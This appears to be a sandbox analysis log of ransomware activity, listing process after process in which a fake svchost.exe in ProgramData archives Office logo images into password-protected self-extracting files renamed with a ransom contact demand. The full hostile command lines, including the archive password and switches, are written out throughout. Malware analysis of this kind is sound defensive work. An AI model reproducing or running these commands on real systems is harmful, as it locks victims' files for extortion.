                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
